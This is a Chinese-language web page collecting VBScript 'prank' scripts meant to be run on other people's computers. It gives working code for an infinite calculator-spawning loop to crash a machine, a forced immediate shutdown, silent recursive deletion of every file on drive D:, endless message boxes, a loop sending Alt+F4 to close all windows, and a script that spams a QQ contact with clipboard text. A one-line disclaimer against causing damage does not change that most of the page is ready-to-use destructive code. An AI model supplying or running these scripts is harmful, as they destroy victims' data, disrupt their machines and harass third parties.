vbs整人代码大全

vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。

打开无数个计算器，直到死机

set wsh=createobject("wscript.shell")
 
do
 
wsh.run "calc"
 
loop

---

直接关机

dim WSHshell
 
set WSHshell = wscript.createobject("wscript.shell")
 
WSHshell.run "shutdown -f -s -t 00",0 ,true

---

删除D:\所有文件

dim WSHshell
 
set WSHshell = wscript.createobject("wscript.shell")
 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

---

不断弹出窗口

while(1)
 
msgbox "哈哈 被耍了吧！"
 
loop

---

开什么都关闭

dim WSHshell
 
set WSHshell = wscript.createobject("wscript.shell")
 
while(1)
 
WSHshell.SendKeys "%{F4}" loop

---

按10000次回车

dim s
 
do until s=10000
 
s=s+1
 
msgbox "哥们，给我按10000次回车吧",64
 
loop

---

无尽刷新

Set s = CreateObject("sapi.spvoice") 
 
i=0 
 
do 
 
s.speak i 
 
i=i+1 
 
loop 

QQ信息骚扰恶搞

打开好友的聊天对话框，然后记下聊天对话框的名称（如图：小敏），把下面代码里的小敏替换一下。代码中的“10”代表发送次数，把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可，当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

 On Error Resume Next 
 
Dim wsh,ye 
 
set wsh=createobject("wscript.shell") 
 
for i=1 to 10 
 
wscript.sleep 700 
 
wsh.AppActivate("小敏") 
 
wsh.sendKeys "^v" 
 
wsh.sendKeys i 
 
wsh.sendKeys "%s" 
 
next 
 
wscript.quit

---

解除方法

按ctrl+alt+delete打开任务管理器取消进程